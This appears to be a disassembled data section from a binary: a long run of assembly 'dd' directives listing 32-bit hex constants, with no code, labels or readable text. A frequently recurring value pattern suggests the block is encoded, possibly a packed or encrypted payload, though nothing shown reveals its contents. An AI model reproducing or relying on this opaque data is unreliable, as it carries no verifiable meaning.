		dd 32156FADh, 0C14F6A22h, 0DE7481D7h, 7B7D1D96h, 0C7DD513Dh
		dd 2EDCD3DDh, 0DB7561C0h, 32156680h, 0B278AA56h, 0AAD2ED9Ah
		dd 3D7507E4h, 32156903h, 321F8F44h, 2A646622h, 6C0ADE75h
		dd 228F8D2Bh, 53DED94Bh, 914E3AFh, 0B87561C0h, 0B373066Bh
		dd 3DDF469Dh, 321566ACh, 0CD740711h, 0B79C9E58h, 35CC4FBAh
		dd 8790A0D7h, 7F12B720h, 32157261h, 0E704D944h,	5A2184A9h
		dd 0FA3CA8FFh, 0B76EF698h, 0E53FB99Ah, 7F9C0E99h, 3BFCBAE6h
		dd 0C2156688h, 69491241h, 0E882C447h, 321560F8h, 306B6E88h
		dd 0CDAD9244h, 0E309AF97h, 32058F16h, 7EBC6688h, 0E1835324h
		dd 0C25C4C73h, 85DDB0A1h, 0B7985E9Ch, 35C45D45h, 321DEB2Dh
		dd 54756611h, 8D1A9603h, 0E2EA0785h, 0C890EFDBh, 5212BF38h
		dd 80E8A909h, 851A24DBh, 0B7D307FCh, 35C457A4h,	32018FDDh
		dd 77B96644h, 240B47F2h, 0DDABE0B1h, 94BDADDCh,	3884FE46h
		dd 57D8867h, 0CB897D3Ch, 2EDCD377h, 23FC6195h, 1D156622h
		dd 0A605CAFDh, 0D0039A5h, 77D46D9Dh, 0B56CB0B1h, 914E39Ch
		dd 20FC6159h, 3D156644h, 5C5CA6B1h, 5D43D83Eh, 19038D47h
		dd 0E3BE7194h, 0DBC599DEh, 3215661Dh, 1F1FEFE5h, 81109F81h
		dd 0F9B5D7A0h, 1817E398h, 0C7756151h, 0B7D307B8h, 35C45797h
		dd 187D9352h, 0DBC7B378h, 3215664Ch, 0B05295B3h, 29A6CA6Ch
		dd 32156E61h, 0E2325344h, 0F9AC7C71h, 0FBA0998Eh, 3D12B794h
		dd 32156CC6h, 0EB950622h, 50D7D915h, 0BF744BA7h, 0E32E67C1h
		dd 3A916925h, 3D156611h, 32156407h, 0CD740644h,	259969F2h
		dd 3D156611h, 32157708h, 32198F44h, 7E0B6622h, 0BC6A837Eh
		dd 4B6FC098h, 0B79C4497h, 35CC4C24h, 321E8F71h,	8A3F6688h
		dd 0EAE0EEB1h, 37747850h, 32048E7Ah, 99096688h,	6FFF79A0h
		dd 0E068E63Ah, 43E1F17Dh, 63401491h, 0F474381Dh, 0E324D3A7h
		dd 5AEC3416h, 0CF57D262h, 321569ADh, 2AD9A922h,	0C7F734E8h
		dd 134C5142h, 0A7995501h, 2EDCD3DDh, 3AFC61C0h,	0FE156688h
		dd 0F06896E8h, 0BF78F650h, 0E32E6794h, 0E2EA9F8Fh, 0B90EFBCh
		dd 5212B708h, 54C7D91Eh, 5385A130h, 3A0E382h, 0DB5261F3h
		dd 3215661Bh, 0C847C752h, 2C024B78h, 0AB7DF0AEh, 0CBF7FE48h
		dd 2EDCD377h, 0BF1A6195h, 3215662Eh, 3213E01Eh,	0BD1A6688h
		dd 32156644h, 914E3AFh,	0B31A61C0h, 32156682h, 321563ADh
		dd 7839B922h, 0E2EAC61Bh, 0C4AA69E8h, 3213E84Bh, 0B61A6622h
		dd 32156611h, 3890EFE9h, 0CE12BF6Eh, 3A0E3E4h, 3D5261C0h
		dd 3215670Fh, 3DFC9344h, 0E3156622h, 0F659AB4Ch, 107A7512h
		dd 5018DB3Eh, 0F07D3D65h, 0C7A49B71h, 2EDCD377h, 0B3756195h
		dd 0D18099ECh, 3496695Dh, 0B3156688h, 0A8545D96h, 0B7980779h
		dd 35C45D10h, 0C7C59971h, 181BE3CDh, 527561FBh,	321569F8h
		dd 5CAB1188h, 1979A0D2h, 0F3AA09E4h, 62E243A0h,	0B7D307E9h
		dd 35C457F1h, 22936965h, 0DB156611h, 32156683h,	0FEC83921h
		dd 0DE3E44A4h, 5AAD9939h, 0EDB3989Ch, 0FBA099BCh, 0DB12B73Eh
		dd 32156614h, 56469CDBh, 3390EB11h, 3D12B719h, 3215639Fh
		dd 0B9730688h, 0E2EA07BCh, 321572CBh, 1D0B5E11h, 272153E6h
		dd 314A8D42h, 0F76CD29Ah, 98DD755Ch, 2090EF71h,	5212BF6Eh
		dd 32156FCBh, 0A7914811h, 0C876A06Fh, 0D3951587h, 0B11A07D6h
		dd 3215661Ch, 32156E61h, 0A38CCA44h, 0C157343Bh, 8790A0DFh
		dd 6D12B7B9h, 3212E04Bh, 0B81A6622h, 32156610h,	32068F74h
		dd 0E2ED6644h, 18043C98h, 868C0F98h, 890D08E0h,	2A9D142Eh
		dd 0C07D0EE7h, 0BA1AF841h, 32156681h, 32986924h, 0CB156622h
		dd 0FBA09970h, 3D12B794h, 321563CDh, 61E00622h,	0B7980748h
		dd 35C45D89h, 3DC599B1h, 321567AFh, 0B79C9F11h,	35CC4C9Eh
		dd 3F9A6924h, 0DB156622h, 32156619h, 9C63ED71h,	56991271h
		dd 67F8DC44h, 23FD0670h, 16156688h, 0D8B36600h,	0AB05C12Ch
		dd 9B09CCACh, 0A7EFE347h, 93A7DF22h, 53FED47Ah,	3A0E3D7h
		dd 0CB5A6159h, 32156EADh, 0CFF42222h, 1C8024Ah,	492A0E0Ch
		dd 0CDE0A1B8h, 0E309AF97h, 3CFC9A16h, 2F156688h, 0D62BDCA8h
		dd 0A38862h, 0E454FB44h, 3390EB67h, 0DB12B77Fh,	32156630h
		dd 29BF34E0h, 0FC17929Ah, 161B491h, 7971DFAFh, 0E2EA865Ah
		dd 609ADFE8h, 0BB740D9Eh, 0EB3F24A7h, 32068F16h, 1C306688h
		dd 5C0DED3Fh, 0F11862AAh, 5BC6C83Dh, 0DBFA2FFBh, 8790A005h
		dd 7512B713h, 3204EE1Eh, 3D756688h, 35FCA8F3h, 78156622h
		dd 6A3FC0D1h, 5A74C386h, 0C84E0808h, 34936942h,	0B3156611h
		dd 0D6DC7041h, 0CB9E0058h, 87EA9F43h, 35C47AD8h, 3219E987h
		dd 0B71A6644h, 32156624h, 3215E71Eh, 0B7986688h, 35C45D45h
		dd 0CEC599D7h, 1853E398h, 3BFC6151h, 0D3156644h, 6D8E116Fh
		dd 0CA020162h, 3A0E34Eh, 3D526195h, 321567A1h, 0FF7D9A11h
		dd 3DD660ACh, 321571C7h, 38FD0622h, 34156611h, 0F2A39A13h
		dd 78286516h, 66AF3C93h, 535CACB3h, 32018EE8h, 9B316644h
		dd 8A26D7A5h, 3A4DB255h, 7EDD3307h, 7B358735h, 35FC1CACh
		dd 5F156611h, 96786EFEh, 534C8AD2h, 2EDCD3DDh, 547561C0h
		dd 26FCBE03h, 0F6156644h, 0E5DD90EDh, 53DE7D58h, 0AE157CA0h
		dd 0AC8E7E0Ah, 5320BE5Ch, 914E39Ch, 3D756159h, 321563CFh
		dd 0FA940022h, 0CD7455C0h
		dd 2A916958h, 0DB156644h, 32156631h, 8969A9BBh,	0C8DBC776h
		dd 5948E9C4h, 0C0059C9Ch, 0BB773CE4h, 0EB3F2C0Dh, 8B730643h
		dd 0E395FCE9h, 0B7D3079Ah, 35C4573Dh, 8B73061Bh, 0F3945B3Ah
		dd 4CD48018h, 52D90EE9h, 8D75B2FFh, 35EEDA30h, 32156DF8h
		dd 6A764A88h, 4239CB75h, 8E5802E9h, 0FBA09970h,	3D12B794h
		dd 321567C1h, 0DB759E22h, 32156614h, 0CA37D3AAh, 0E9A269D0h
		dd 3390EB43h, 3D12B72Ah, 32156A07h, 0BA1A0644h,	32156622h
		dd 3B4EDD77h, 52C599E9h, 0DADFD14Bh, 32156624h,	0D7201FD5h
		dd 851AAD05h, 0BB743EB6h, 0EB3F7CA7h, 33996916h, 0C7156688h
		dd 3A0E382h, 0C74A61F3h, 0DB412879h, 87EA9A16h,	35C47A8Dh
		dd 3390EBDEh, 5212B72Ah, 3210E087h, 3EAE6644h, 0CB17A1FCh
		dd 3DC59970h, 32157E01h, 32068F44h, 0B5FE6622h,	2AE40542h
		dd 0BC500C6Ch, 29C4367Ah, 0F66357D1h, 2C90EF25h, 0CA12BFA2h
		dd 3A0E382h, 0DB4A61F3h, 3215661Ah, 0A63B92D6h,	323D51D7h
		dd 5AA9C1B8h, 0E3064E59h, 0FBA09970h, 0DB12B758h, 3215662Ch
		dd 9CB07233h, 929776A2h, 6F8A5036h, 0BFE0DF99h,	0E32E6794h
		dd 0E2EA9A8Fh, 54F6E724h, 846C7EB6h, 0B79C0773h, 35CC4CAAh
		dd 3214EE4Bh, 58E96622h, 327D9315h, 52156698h, 32156DACh
		dd 0B8772822h, 9361BE96h, 0FE3D95ECh, 524F0724h, 3215E92Dh
		dd 0ED9E6611h, 327D07E9h, 0CE156654h, 0BE1A6648h, 3215660Dh
		dd 3203E587h, 23FC6644h, 1156622h, 5CA677E4h, 784415F9h
		dd 0D943BF9h, 6846B7h, 27A0F3EEh, 0BF1A6159h, 32156651h
		dd 321576CBh, 2AB2E011h, 0EF443A42h, 7F906EDAh,	3F678771h
		dd 6790EFE0h, 3D12B7A0h, 32156FC2h, 53750622h, 78CFE777h
		dd 0B79807EDh, 35CC6513h, 321577CBh, 0C4ACE911h, 1A17F00Ah
		dd 0D6782E61h, 0A1E2484Bh, 0E2EAD599h, 52110C7Dh, 0B37AA4C4h
		dd 60D880CAh, 327D077Fh, 3D156698h, 32156CC7h, 32108F22h
		dd 0B0036611h, 0CA1471FEh, 3235662Ch, 327F9322h, 3218EE1Eh
		dd 3AFC6688h, 0DC156644h, 70C30C95h, 0CD5D905Eh, 0E300D31Dh
		dd 89730643h, 89732490h, 0BB74DCA5h, 0E30DAF0Dh, 54750643h
		dd 0F4AB8FA3h, 7327FAAh, 0BB740784h, 0E30307C1h, 727F9325h
		dd 321560F8h, 0F9A7E888h, 5A8B48DAh, 32157622h,	33916971h
		dd 0CE156688h, 32150E25h, 3FFC6623h, 9D156611h,	0D1D46761h
		dd 0F71BDE49h, 0A26EBBBEh, 37FC667Bh, 36156688h, 0B574B641h
		dd 878099DEh, 3D12B704h, 32157D03h, 27926944h, 0DB156622h
		dd 32156601h, 0D0A492DFh, 0B417356h, 0F8AC5DAEh, 0D66E6732h
		dd 2564E301h, 0BB1A6195h, 32156623h, 9BA0EDE8h,	5212B78Bh
		dd 3217E84Bh, 0E39E6622h, 321574F8h, 0F9D0E188h, 84324D9Fh
		dd 0DA4DD26Bh, 78167774h, 53BF7E0Fh, 37DCFBCFh,	39FC61F3h
		dd 21156611h, 0DE8A59A3h, 0AC2DB978h, 0BBE984DFh, 0E330A3A4h
		dd 32138F8Fh, 60D6644h,	7EA3866Ch, 1554FB98h, 0DA756159h
		dd 32156654h, 0ADB1F23Bh, 0DBE5FEEAh, 12E9EBF4h, 1E25EE5Eh
		dd 321574CBh, 7889BA11h, 0C514C92h, 77D96C0Ah, 0E2063392h
		dd 6A5B24DEh, 53EBD187h, 3218E94Bh, 3AFC6622h, 9C156611h
		dd 464E4B10h, 0B9A42D1Eh, 0E310AFBFh, 0BB1A0616h, 3215668Dh
		dd 0AC732FEh, 0ED9CDD02h, 0CD7474DEh, 1619EDBBh, 3211A2C5h
		dd 0B1E06622h, 0B61A66E8h, 32155C5Fh, 32048F24h, 5C6622h
		dd 0F7FBC70Fh, 41200B4h, 0DB69831Eh, 0CB9EF322h, 339F6970h
		dd 0CA156688h, 0B3F3EF12h, 321562E4h, 36FBE711h, 0B5156688h
		dd 0BB494270h, 5AEC4226h, 32154E7Ch, 3D316A01h,	321561C0h
		dd 339D6922h, 0CE156611h, 32156B61h, 1977344h, 29611CE1h
		dd 5C76FC65h, 3D756169h, 32156AC2h, 34996922h, 3D156611h
		dd 32156605h, 52D55744h, 584DDC44h, 32018F71h, 3C576688h
		dd 0E494040Bh, 827D900Dh, 5A3AAEEFh, 0BBCA358Bh, 53EDD5B0h
		dd 9B90EF43h, 3D12B73Fh, 3215610Dh, 339A6944h, 0C7156622h
		dd 7888DB44h, 0C7944EE7h, 1A7A2CE5h, 3D483877h,	32156798h
		dd 0DC949388h, 39364008h, 12311221h, 98DDE41h, 0D2D474D8h
		dd 0F3CD9141h, 7E1062C2h, 33BEFC47h, 0B61A3E4Eh, 32156652h
		dd 321577CBh, 0D5DE0711h, 76463CE4h, 0C7E47045h, 1CDCA785h
		dd 9F735086h, 0C8A269E8h, 76F56325h, 26104F95h,	3101F801h
		dd 1F3542CCh, 268B7650h, 8551860Fh, 32188F38h, 396F6688h
		dd 1CB0F26Ch, 0CF1FDFD9h, 0CD401627h, 69E1EF8h,	36D1E760h
		dd 0C7156622h, 47208890h, 461679FCh, 8A454660h,	1A5E0BDEh
		dd 720DA524h, 76B243EAh, 0EAE20C1Fh, 0DA57610Fh, 334F6B5Ah
		dd 6910408Ch, 33A401BFh, 34FC3EE4h, 19156611h, 0E028BD2Dh
		dd 32048F68h, 1366622h,	0F46DE0E3h, 8C1308E6h, 0A2C6012Bh
		dd 612D3E06h, 32157E79h, 0C1143D88h, 524E5DCFh,	321572CBh
		dd 0DA2B3011h, 20EC3E93h, 4E81F7DEh, 3F83F1ACh,	0DB76AD5Ch
		dd 32018F35h, 6F256644h, 3BD535F4h, 6399C9E4h, 3617FCA5h
		dd 3BFDAAFBh, 0BB747D4Fh, 0E335EFACh, 0CD90938Fh, 3240E34Bh
		dd 3D756622h, 32156598h, 0C0A26988h, 15FD9A25h,	52156642h
		dd 321568F9h, 20DBEF88h, 3DE63F8Dh, 3AABEF7Bh, 524E7CB4h
		dd 0DA753EE9h, 3215664Eh, 95787B02h, 500ACA98h,	0DB4C6639h
		dd 3215664Ch, 9DEA13C2h, 34C1BC67h, 0A4FC07E9h,	3D156641h
		dd 321567ADh, 5AE09A11h, 32151C8Dh, 3D316ACDh, 321561AAh
		dd 33936911h, 0CB156688h, 1601ED13h, 3211A2A3h,	34FC6611h
		dd 0ED156688h, 0C5863273h, 36C70DFCh, 321574F8h, 0AD48FD88h
		dd 4B5DD77Eh, 1C688253h, 69AEE1D2h, 0BBD5E002h,	0E32143D1h
		dd 321E8F25h, 6C0F6611h, 83044B8h, 0C7DFC52Bh, 0CB110C00h
		dd 32056679h, 0BB459E88h, 321163A4h, 36386622h,	0B5156611h
		dd 0BB49428Ch, 0BE1A4250h, 3215662Bh, 8A740671h, 54DB1F04h
		dd 3D150C25h, 321568A4h, 321C8F11h, 595E6688h, 9780B498h
		dd 0CDC2F127h, 0E300D384h, 0B79C9E8Fh, 35C475E9h, 36F9E7DBh
		dd 0BB156611h, 3694428Ch, 386F2E60h, 0D8943C72h, 621F1C59h
		dd 3205EA87h, 39FC6644h, 0A0156622h, 42E13EA1h,	862FAE0Bh
		dd 3E9E4C37h, 0D29C3606h, 32156214h, 36D5E588h,	6E3162C3h
		dd 6CE18EDBh, 0DA756611h, 32156698h, 18BDD904h,	0C16AE628h
		dd 46137244h, 0F6616BCFh, 544C3C15h, 0BD4E95A3h, 29B70E70h
		dd 69C6688h, 38FC0660h,	70156622h, 0C518968Dh, 6C1A6A0h
		dd 5AAA006Eh, 52B80762h, 0C3458D90h, 0B9461510h, 1F743FBAh
		dd 7BDB11EFh, 0F3416B14h, 165165D3h, 66184B60h,	0FF103DE3h
		dd 0CE5CA866h, 3ED5774h, 3DED5783h, 321568ABh, 37FC0611h
		dd 0FD156688h, 9D2A1D36h, 65740742h, 57316290h,	0B925B6A9h
		dd 0F6944258h, 32156626h, 13708D90h, 0B9755658h, 0BB400795h
		dd 36D0E7C7h, 0B1156611h, 1E926265h, 0E9C3A60h,	32018F06h
		dd 8F4D6611h, 979EC05Bh, 9565FE3Fh, 3D5958F0h, 4E92C829h
		dd 0F225F3BBh, 321576ADh, 0DA64D322h, 5FA67825h, 245DCE65h
		dd 0CBF7485Eh, 47BB9346h, 52ED93ECh, 32156861h,	36564244h
		dd 0B901EEFCh, 0CEF49392h, 881274BCh, 615105FFh, 1621ED43h
		dd 0B3F7EF43h, 3215624Ah, 36D7E744h, 0B5156622h, 0DB494205h
		dd 32156680h, 75B48F4Bh, 48F9F32h, 53750671h, 21FC06E9h
		dd 12156644h, 2CAD9B4Eh, 883239BEh, 96E17A2Fh, 863AA2BBh
		dd 53743374h, 77ED8990h
		dd 0ED3C3B3Bh, 77EDDD17h, 0ED143B91h, 32138F4Ah, 77886688h
		dd 817877E3h, 0B3F6EF71h, 321562D2h, 36FEE788h,	0B5156644h
		dd 0BB49423Eh, 0BC1A4205h, 32156696h, 0B5E6E624h, 321572CBh
		dd 87FB3711h, 5A7ADF0Eh, 0BFE94E07h, 0FD76975Eh, 5B4C490Eh
		dd 0DE9607C1h, 1629EF40h, 8F9E9A78h, 35C44E44h,	3205E987h
		dd 0B31A6644h, 32156628h, 321563F8h, 96823A88h,	0CDAC3534h
		dd 0DBEA99DDh, 32156602h, 4BD93876h, 9DDB5AA9h,	0A84E4DEDh
		dd 189764F1h, 3D53E14h,	20976984h, 0DB156622h, 3215661Ch
		dd 3CC77179h, 7EEB2A1Bh, 1D8D366Dh, 321B8F29h, 60426688h
		dd 0BB5091C4h, 0F886DFB0h, 4D3F6D4h, 3215DFD9h,	0F3946644h
		dd 2289181Fh, 0DB949710h, 228918B5h, 524C67CEh,	0DBE7ED44h
		dd 32156619h, 350C2AD8h, 8FB09BB7h, 0DA440643h,	3215661Fh
		dd 310902E4h, 11C8B2A3h, 3C1B9520h, 6D4BC1D2h, 32156B61h
		dd 68084144h, 888E12D8h, 0F23EC0E2h, 2746BF9h, 3491698Ch
		dd 52156622h, 0ED9E00EDh, 33AA31E9h, 33156644h,	3EFC39DCh
		dd 52156611h, 630662AEh, 0BBDF99AEh, 0CD5F00EBh, 3694E125h
		dd 6D6453ACh, 7383E19h,	0DB483953h, 3215661Fh, 7D9BA208h
		dd 6CD1B6A6h, 1F24BE98h, 0DBD40BEBh, 32058F80h,	8D2A6644h
		dd 0ED7CE1B3h, 0A33B3DDEh, 85EF3C8h, 0F324B311h, 0B71A2CD7h
		dd 0CDEA9902h, 32108FE8h, 38AF6644h, 52ED8692h,	32156EF8h
		dd 0A9B49388h, 23BD2A95h, 32128E2Ah, 80986611h,	80599540h
		dd 53743895h, 0F89C3477h, 0BB4FB398h, 0B3EC3B60h, 321562A8h
		dd 1611EF22h, 6A3172E6h, 0F19E00E8h, 1601ED25h,	0B3F6EF71h
		dd 321562D2h, 36D6E788h, 0B5156644h, 0DB49423Eh, 3215661Fh
		dd 0D12F8783h, 812358B8h, 1A84A0A7h, 3CFC3FBBh,	0CA156688h
		dd 0B00C4721h, 6D61782Dh, 0F69603h, 32AE3508h, 0B3156644h
		dd 2F3700C9h, 0B3C66765h, 2F37004Bh, 6916EF30h,	3D9769D7h
		dd 0DB156611h, 32156682h, 0BCFF408Ah, 713A8FB7h, 8A45E930h
		dd 3215668Ch, 6AFB8CC5h, 0F0143983h, 6AFBA490h,	3D4D3929h
		dd 321563C1h, 0C89E0622h, 0BB4507E9h, 32116368h, 36386644h
		dd 0B5156622h, 0BB494215h, 0CDEC429Ch, 0E33BCFC1h, 321E8F25h
		dd 0DCF56611h, 3D60169Eh, 809C438Fh, 3FFD06AEh,	0B6156611h
		dd 32CB2A37h, 993220F4h, 92B263h, 0A79E0749h, 35C44821h
		dd 321568ADh, 0CB4C7922h, 82E17EF0h, 0F53244A2h, 0B121970h
		dd 0E335EFB7h, 46916916h, 3D156688h, 321567CCh,	269E9A22h
		dd 0D09C3435h, 3211A409h, 0F0966644h, 1601E126h, 6EA9F4Dh
		dd 0F69638ACh, 61A20640h, 55970E43h, 3E9C6611h,	3211DFACh
		dd 0FC146644h, 3BFD067Bh, 156611h, 0E3A13653h, 9DB011F3h
		dd 524E0742h, 54C6D91Eh, 5374A703h, 0CDEEB2ADh,	32128FDDh
		dd 27016611h, 86A4A8EEh, 32188F04h, 72FF6622h, 2CCDA7A5h
		dd 0DFEE14C7h, 0B9D7D1F2h, 0BB464236h, 36D6E7F2h, 0B3156688h
		dd 32156287h, 1609E122h, 69E9A4Dh, 0D29C36ACh, 32156241h
		dd 36D5E522h, 6E316296h, 3212EA87h, 0B41A6644h,	32156623h
		dd 0B37507E4h, 0FF4D8060h, 99AD0079h, 3E9E0734h, 0D39C3735h
		dd 3211A709h, 0F3946644h, 32156626h, 6E316A96h,	32156F61h
		dd 88D97744h, 98E729BCh, 369E3AAAh, 0D59C31ACh,	3211A1C5h
		dd 0F5946622h, 32156615h, 6E315A0Fh, 0B90A1B8h,	3212B70Dh
		dd 0DB156611h, 3215668Eh, 51BF2C88h, 0DB75B51Ch, 3215661Fh
		dd 97161C18h, 1EE81EE7h, 53E782C2h, 8B73D780h, 0F5741835h
		dd 0E331C7C1h, 32156625h, 3A996911h, 52156688h,	0D69194C5h
		dd 52744ADAh, 321572F8h, 0F0A6A388h, 47437DCh, 0CD7E7A2Eh
		dd 0A8E1CC94h, 6696FA6Bh, 0E89E00BBh, 0B8A8E543h, 3212BF38h
		dd 3202E287h, 3DE06644h, 321567A4h, 0AF989A11h,	35C2B9F6h
		dd 0B81CD624h, 0E1EA07E7h, 3F9099E4h, 3D12B7AEh, 32156ECCh
		dd 30996922h, 52156611h, 3FA8E5E9h, 5612B762h, 30BDE42Dh
		dd 0BE1A6611h, 32156689h, 3F90A1B1h, 3312B704h,	0CA156611h
		dd 26FC93E8h, 0C6156644h, 69C793Bh, 28044C58h, 0B0C2FD27h
		dd 58518029h, 0BFAD9407h, 0EAA33494h, 32068F8Fh, 8C136644h
		dd 0A2C6014Dh, 0F32D3E35h, 661ADEFCh, 62C5C86Fh, 52C599F1h
		dd 0C4F3D977h, 0D3FFC632h, 8798074Bh, 35CC4C78h, 68A8EBEDh
		dd 3D12BF3Dh, 32156ACDh, 349B6922h, 3D156611h, 32156602h
		dd 321D8F44h, 6CE26622h, 5EC34A1Ah, 8C4333D3h, 72040C10h
		dd 21D290A3h, 0C5142EF7h, 0B3E24FD6h, 0C56CF5ABh, 0B51A062Ah
		dd 32156606h, 32157461h, 1699D244h, 5E13DA06h, 2BDF097Ah
		dd 0BAA11F6Dh, 3D97865Eh, 321562A2h, 0A8AD0011h, 0B9420741h
		dd 0F6944250h, 32156626h, 3214EE1Eh, 0B9EC6688h, 0E33D33F9h
		dd 851A0625h, 32048ED9h, 2AA26688h, 24E6CCBEh, 0BB0BEC41h
		dd 0F67FBBD4h, 0B96701A0h, 8B743FBCh, 0CDEA99DDh, 3212E81Eh
		dd 0B01A6688h, 32156645h, 3EFC06D7h, 8F156611h,	0F536F660h
		dd 9C759964h, 547DB75Dh, 70009690h, 0DBD557E9h,	32156655h
		dd 74A20CCCh, 49A7389Dh, 0FC6822F7h, 0BBA1EE3Ah, 32AC37A1h
		dd 0B3156611h, 0A1319861h, 0B3E4675Ah, 0A13198E3h, 6B14EC0Fh
		dd 3219EE87h, 0BE1A6644h, 32156624h, 3215E61Eh,	0FA256688h
		dd 33AF34BCh, 33156622h, 0CDE03CC7h, 0CE4DE1BCh, 3D1D8F85h
		dd 321567A6h, 0F3249311h, 0B71A2C71h, 0CDEA99DDh, 36F9E5DEh
		dd 6A316A98h, 32156C61h, 0E22F3A44h, 0C4E4FF6Eh, 0A1D9DA5Bh
		dd 6145B57Fh, 0BB1A3D1Ch, 3215663Fh, 3202E61Eh,	20FC6688h
		dd 0ED156644h, 7944E431h, 0CCE32B37h, 0D8C3E43Eh, 0F0BB09Ah
		dd 57905F15h, 3D12B70Ah, 3215FC0Ch, 8A730644h, 88736467h
		dd 52747120h, 53E7D187h, 3CBFD812h, 0E4E21271h,	4EBA8090h
		dd 8A453C96h, 7E8F1E60h, 0B34DA013h, 9B3C82F7h,	12E3E7C7h
		dd 0BB53E64Ch, 0BD1A38D2h, 3215660Ch, 3202E387h, 20FC6644h
		dd 4F156622h, 8ECA86BCh, 0F9C133BBh, 91D7326Ch,	4789BB0Dh
		dd 3DD56D82h, 3215730Dh, 0B7D29E44h, 35C4492Fh,	32156610h
		dd 71DEE7E8h, 8532826Ch, 8A4507FBh, 32243FABh, 712A709h
		dd 0F3142AE3h, 7128FA3h, 0DB4D2AB6h, 32156683h,	0E02E6921h
		dd 3602C548h, 53E6DFA3h, 320DEA87h, 21FC6644h, 94156622h
		dd 0F8A42A99h, 6ACBF2A3h, 7B08C226h, 82B4EEC3h,	0BA1A80A0h
		dd 3215669Ah, 32156BADh, 0FD428A22h, 3CC42B72h,	0DBB8BA14h
		dd 8D425C53h, 432C144Ch, 0E9E9F98h, 36D1E5ACh, 5AE35BCh
		dd 612C4ED6h, 2B315290h, 681F46F8h, 420C94C5h, 0CB4E6C02h
		dd 321F8FBCh, 33F16688h, 0A710D5F2h, 5A244B1Ch,	17D0D398h
		dd 21FC6159h, 77156644h, 0A6F39B98h, 0F5AC083Ah, 11C68EEEh
		dd 17BDC69Ch, 3D75DAEAh, 8DAABCAEh, 5355D37Dh, 3215DF15h
		dd 7C9C6622h, 1619EDEDh, 3D11A20Bh, 321561CEh, 339A6922h
		dd 0CB156611h, 0DCFB88B5h, 0E89069AAh, 52156622h, 54D7D91Eh
		dd 0CB74B603h, 0EFC858C5h, 0B71ABBFFh, 321566D4h, 329B69E8h
		dd 0DA156644h, 32156624h, 0D9CAC376h, 0EAAF494Eh, 6C2F0DF0h
		dd 90AF3443h, 0B332B934h, 3215674Ah, 7CFFE744h,	0F31EA058h
		dd 0E8E26EF3h, 6715A409h, 249C7EEFh, 35916978h,	52156611h
		dd 91C69031h, 8D420710h, 32156626h, 7B85A090h, 0CC1404BEh
		dd 7B8588C5h, 0DB4A0414h, 32156619h, 57A467B1h,	3E2140D4h
		dd 17D0D3ABh, 0B51A61C0h
		dd 321566A9h, 32976924h, 0DB156622h, 32156605h,	0F3B31F8Fh
		dd 0C675A39Eh, 0E8AE4E7Ah, 2D163276h, 72B028BBh, 1EC28F25h
		dd 0DB756622h, 32156602h, 7F947D07h, 0F4AA5853h, 78BBE3A9h
		dd 0D82F3855h, 8C76D2A2h, 4D23EF3Ch, 0CCBD8F43h, 0BF1A99EEh
		dd 32156689h, 8B4436B1h, 195336FAh, 36312A38h, 0F1943DD1h
		dd 1953369Ch, 3212E32Dh, 0BD1A6611h, 32156689h,	3F9055B8h
		dd 5212B70Dh, 4504DC77h, 0F3742639h, 3DFC658Ch,	0AB156622h
		dd 0FD1449A6h, 0F9D86465h, 0BAC679A7h, 0B438D851h, 1F1C7A10h
		dd 1E0101C1h, 7B10B66Dh, 37397245h, 3B096797h, 22D5A770h
		dd 32156BADh, 0F57A7822h, 155DB91Dh, 0EF9D8BC5h, 0FA248F8Bh
		dd 321DED2Dh, 0B91A6611h, 3215668Ah, 21FC0724h,	3A156622h
		dd 0E7C77A14h, 0C9640046h, 83E0B5FEh, 0AAFCA213h, 0AF9C3B8Fh
		dd 35C44985h, 32156FADh, 40FC6822h, 9D89C994h, 3CFC2A85h
		dd 0CD156644h, 0C3EEC0E1h, 0F1F9F31h, 0D6861543h, 32155B03h
		dd 0B11A6623h, 32156404h, 321E8EE8h, 9C0F6644h,	30947033h
		dd 0C81C7988h, 544D9F89h, 0B374A5CFh, 89AEDD1Ch, 0C09069AAh
		dd 3D156689h, 321561C1h, 33956922h, 0C7156611h,	3215DDDBh
		dd 8A456644h, 32156622h, 2A9C9610h, 0B31A3DD0h,	32156649h
		dd 32138F42h, 669A6611h, 93E21A23h, 5A433725h, 19D525EBh
		dd 6DD3E74Fh, 0B362B1C0h, 495C19A2h, 3AF3E71Bh,	0B37A4B18h
		dd 331D6266h, 6CE4EF65h, 3D4CA823h, 32157294h, 321A8F88h
		dd 0EE876644h, 0C5482569h, 0FE234769h, 0F8247959h, 0F7A0EFEFh
		dd 3D12B707h, 32156B91h, 0B3730688h, 0B373DCA2h, 1630FCCh
		dd 0AF9E0739h, 35C46341h, 0C19E3624h, 0A5F3E77Ch, 5313CF1Ah
		dd 1E945577h, 5E1FD260h, 1619ED62h, 0B311A292h,	5E1FD249h
		dd 321E8F04h, 0F9BD6622h, 0AEF999ADh, 0F1FB11F2h, 6943683h
		dd 80092C06h, 8C433C3Fh, 0FB863A4h, 2DD3E70Ah, 3E46335h
		dd 0BC1A38E3h, 32156689h, 60ED06BDh, 0D63152A3h, 0B91E8764h
		dd 0F694428Ch, 32156640h, 0D3608217h, 321D8F1Ah, 15AE6688h
		dd 0D9A69A02h, 0B73E7968h, 35C469ECh, 32157761h, 16302A44h
		dd 0B3FF1DBDh, 7365649Fh, 472E2EBBh, 0D2D4A51Ch, 3B956920h
		dd 52156611h, 5481BE08h, 539935FAh, 2274E321h, 0B37561C0h
		dd 9BBFA759h, 5375062Ch, 53740742h, 0F4249620h,	20FC96B9h
		dd 6E156644h, 0ED6B69C0h, 9FD4451Bh, 964DA674h,	0E928817h
		dd 0BA1ACB0Ah, 32156610h, 0DFAB3070h, 74011C5Fh, 125F90A3h
		dd 0B35B5EAAh, 0E537B44Eh, 6CE54FB1h, 4710AE23h, 0CE37FE4Fh
		dd 2E312201h, 321FE74Bh, 3D756622h, 0B373B8A6h,	53C0B552h
		dd 0A5E5E724h, 0DA799BA9h, 3215661Fh, 4EA9BC06h, 5C836052h
		dd 88844E5Ch, 6C432F70h, 0DB7407D6h, 3215664Fh,	7B9ECC80h
		dd 6A6A39A6h, 0DBC5FF45h, 32156490h, 8999DE42h,	22FD575Ch
		dd 58156688h, 0FA953BA6h, 31320893h, 865F1891h,	6B83F2CBh
		dd 44370E25h, 3E9C6622h, 437D9A35h, 0BB1566E3h,	0DB754250h
		dd 3215662Ah, 998FCA9Fh, 53EA4182h, 3211E44Bh, 8D736622h
		dd 3745CF1h, 0A79E9A41h, 35C475E9h, 851A9F42h, 302E07E6h
		dd 32DDE287h, 0BB1A6644h, 32156638h, 32068F71h,	89396688h
		dd 0D0660A8Ah, 95BEBBEEh, 66CA2EF6h, 23F73033h,	0CE7507C6h
